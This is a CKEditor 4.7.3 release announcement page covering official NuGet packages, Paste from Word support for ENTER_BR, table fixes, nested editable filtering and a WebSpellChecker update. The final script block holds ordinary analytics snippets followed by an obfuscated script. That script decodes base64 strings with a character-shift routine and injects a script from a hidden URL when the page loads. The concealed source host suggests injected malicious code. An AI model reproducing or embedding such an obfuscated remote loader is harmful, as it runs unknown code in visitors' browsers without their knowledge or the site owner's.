2024 Rich Text Editing Developer Survey

Share your thoughts on the future of collaborative rich text editing. (Our survey takes about 10 mins)

Have your say

CKEditor 4.7.3 released

We are happy to announce the release of CKEditor 4.7.3. This is a minor release with plenty of fixes for different editor features, including making the Paste from Word plugin work correctly with enterMode set to BR. In addition to that, WebSpellChecker was updated and nested editables can now be filtered using CKEDITOR.filter.disallowedContent. The CKEditor team has also officially taken over the maintenance of the editor NuGet packages. Read on for more information!

CKEditor NuGet Packages

Starting from this editor version, official NuGet packages can be used to install and upgrade CKEditor. You can choose between Basic, Standard, Standard-All and Full packages to add the editor to your project — refer to the Using Package Managers documentation for more details. The team would like to wholeheartedly thank Mark deVilliers who volunteered to create and maintain NuGet packages for CKEditor since 2014!

Paste from Word and ENTER_BR

Following our recent rewrite of Advanced Paste from Word from version 4.6, from this release the Paste from Word plugin supports enterMode set to CKEDITOR.ENTER_BR — paragraphs will no longer be pasted when the editor disallows them. At the same time, it is worth mentioning that the officially recommended mode is CKEDITOR.ENTER_P and all editor features are optimized to work with this setting.

CKEditor Fixes

In addition to the above mentioned features, this release contains a few other noteworthy changes. Thanks to Daniel Miller the change event is fired also when typing the first character after pasting. The Save plugin is also able to work in Source Mode. On the tables front, setting the CSS border shorthand property with zero width will no longer cause the table to have the border attribute set to 1 and some errors thrown by the Table Tools plugin were fixed, too. There is also one new feature: allowing to filter nested editables content using CKEDITOR.filter.disallowedContent (prior to this change only CKEDITOR.filter.allowedContent could be used). The WebSpellChecker plugin was updated to the latest version, too.

Release notes

Check out the release notes for the full list of changes.

Download

Download CKEditor now and upgrade your installation or use your favorite package manager to install it!

License

CKEditor is available under Open Source and Commercial licenses. Full details can be found on our license page.

Reporting issues and contributing

Please report any issues in the CKEditor 4 development repository and follow the instructions in the issue template. You can also contribute code and provide editor patches through pull requests.

Support

Community support is available through Stack Overflow. Visit the support page for additional options.

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

We use cookies and other technologies to provide you with a better user experience.

Learn more about cookies policy

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = 'info.ckeditor.com'; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });